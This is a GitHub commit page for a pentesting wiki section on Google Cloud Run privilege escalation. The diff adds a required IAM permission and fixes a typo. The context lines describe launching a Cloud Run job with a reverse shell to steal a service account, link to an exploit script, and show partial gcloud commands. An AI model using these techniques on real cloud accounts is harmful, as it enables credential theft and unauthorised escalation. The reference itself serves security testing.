Skip to content

Commit

Permalink
GITBOOK-637: No subject
Browse files Browse the repository at this point in the history
  • Loading branch information
carlospolop authored and gitbook-bot committed Jun 24, 2024
1 parent 6368702 commit a5dd09c
Showing 1 changed file with 2 additions and 2 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -50,7 +50,7 @@ gcloud run deploy hacked \

Give yourself previous permissions over cloud Run.

### `run.jobs.create`, `run.jobs.run`, (`run.jobs.get`)
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)

Launch a job with a reverse shell to steal the service account indicated in the command. You can find an [**exploit here**](https://github.com/carlospolop/gcp\_privesc\_scripts/blob/main/tests/m-run.jobs.create.sh).

Expand Down Expand Up @@ -88,7 +88,7 @@ gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHO
```
{% endcode %}

### `çrun.jobs.setIamPolicy`
### `run.jobs.setIamPolicy`

Give yourself the previous permissions over Cloud Jobs.

Expand Down

0 comments on commit a5dd09c

Please sign in to comment.